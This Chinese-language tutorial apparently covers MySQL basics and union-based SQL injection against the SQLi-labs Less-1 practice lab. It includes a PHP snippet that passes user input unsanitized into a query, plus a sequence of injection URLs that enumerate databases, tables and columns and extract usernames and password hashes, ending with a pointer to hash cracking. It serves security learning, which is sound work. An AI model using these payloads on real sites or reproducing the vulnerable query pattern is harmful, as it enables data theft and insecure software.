一、SQL语句基础知识
首先打开PHP的数据库,如下图所示,再在终端中输入后连接到数据库
点击查看代码
mysql -u root -p
1.1 MySQL的基础语句
1.1.1 创造数据库
用来创建一个数据库的语句如下:
点击查看代码
create database 数据库名;
1.1.2 查看现有的数据库
进行查看当前的所有数据库的语句如下:
点击查看代码
show databases;
可以看到我们刚才创立的test2也在其中
1.1.3 使用数据库
语句如下:
点击查看代码
use 数据库名;
根据提示,当前数据库已经进行了更换
1.1.4 创建表users,其中包含两个字段id,name
进行创建表和其中的字段的语句如下:
点击查看代码
create table 表名(字段名,字段名);
1.1.5 查看当前数据库下的所有表名
进行查看当前数据库下中含有的表名的语句如下:
点击查看代码
show tables;
1.1.6 插入数据
插入数据的语句如下:
点击查看代码
insert into 表名 value(字段名,字段名);
1.1.7 查询语句
在不知道任何条件时,语句如下:
点击查看代码
SELECT 要查询的字段名 FROM 库名.表名
点击查看代码
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = '已知条件的值'
点击查看代码
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = '已知条件1的值' AND 已知条件2的字段名 = '已知条件2的值'
1.2 limit语句的用法
limit的使用格式为limit m,n ,其中m指记录开始的位置,m为0时表示从第一条记录开始读取;n指取n条记录。例如:limit 0,1表示从第一条记录开始,去一条记录。
接下来会分别展示使用和不使用的区别:
通过对比我们可以发现,当使用limit的时候可以限制我们想要看到的数据个数;而不使用的时候,所有的数据一起出现了。所以在注入的过程中,合理地使用“limit”是要掌握的一项技能。
1.3 需要掌握的几个函数
- database():当前网站使用的数据库
- version():当前MySQL的版本
- user():当前MySQL的用户
1.4 注释符
在MySQL中,常见的注释符的表达方式有:“#”,“--空格”或“/**/”
1.5 内联注释
内联注释的定义:内联注释中,大于MySQL版本号的数字,中间的字符串被注释。小于等于则被正常执行。没有指定版本号,MySQL 会无条件执行注释中的内容。
内联注释的形式为/* !code */。内联注释可以用于整个SQL语句中,用来执行SQL语句.
点击查看代码
select * from /* ! where 1 */
二、MySQL中与SQL注入漏洞相关的知识点
MySQL在数据库中放入了一个名为“information_schema”的数据库。该库中含有三个表名分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库,只需记住字段名为SCHEMA_NAME。如图:
TABLES表存储该用户创建的所有数据库的库名和表名。需要记住该表中数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。如图:
COLLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。需要记住该表中记录数据库库名、表名和字段名分别为TABLE_SCHEMA、TABLE_NAME和COLLUMN_NAME
三、 SQL注入简介
SQL注入是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数被带入数据库查询,攻击者可以通过构造不同的语句来实现对数据库的任意操作。
我们看看在PHP中链接MySQL数据库并进行查询的一段代码。
点击查看代码
<?phpinclude "db.php";$id = $_GET['id'];$result = select("select title,content from contents where id = $id;");echo (json_encode(isset($result[0])?$result[0]:[]));
四、SQL注入原理
满足以下条件:
- 参数用户可控
- 参数被带入数据库查询
当传入的参数ID为1'时,数据库执行代码
点击查看代码
select * from users where id = 1'
点击查看代码
select * from users where id = 1 and 1 = 1
五、联合注入(这里以SQL-labs lesson1为例)
打开靶场,显示如下图所示,让我们输入id。
打开hackbar,进行构造url,加上id=1,发现页面有回显,此时尝试判断是否存在SQL注入。
进行单引号闭合后发现确实存在SQL注入。
接下来判断是字符型还是整数型。构造url,发现页面回显
点击查看代码
http://localhost:85/Less-1/?id=1' and '1'='1
(这里我是用整数型进行判断的,所以不放字符型的了)
接下来通过注释符进行将SQL语句后面的内容注释掉,使其查询我们的语句(这里使用的是-- +)
随后利用"order by"来进行判断目前所在的数据库中字段名的个数,当输入order by 3的时候页面回显。而order by 4的时候页面报错。构造的url应该是:
点击查看代码
http://localhost:85/Less-1/?id=1' order by 4 -- +
在判断有三列时,此时就可以利用union进行查询,但要注意的是需要将id改为一个非常大的数或负数,防止我们的页面不回显。url为:
点击查看代码
http://localhost:85/Less-1/?id=-1' union select 1,2,3 -- +
之后判断当前所在的数据库的名字,以及当前的用户,构造url:
点击查看代码
http://localhost:85/Less-1/?id=-1' union select 1,user(),database() -- +
然后遍历所有库数据库,得到数据库,“root”,构造url:
点击查看代码
?id=-1' union select 1,schema_name,3 from information_schema.schemata limit 9,1 --+
之后通过遍历库中的表进行得到想要的表"users",构造url:
点击查看代码
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema = "root" limit 1,1 --+
然后在已知的表名和库名中,爆破字段名“user”,“password”,构造url:
点击查看代码
?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema = "root" and table_name = "users" limit 3,1 --+
然后获得账户和密码:
点击查看代码
http://localhost:85/Less-1/
?id=-1' union select 1,user,password from root.users limit 0,1 --+
得到的密码为hash值,可以在(Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online)该网站中进行一个碰撞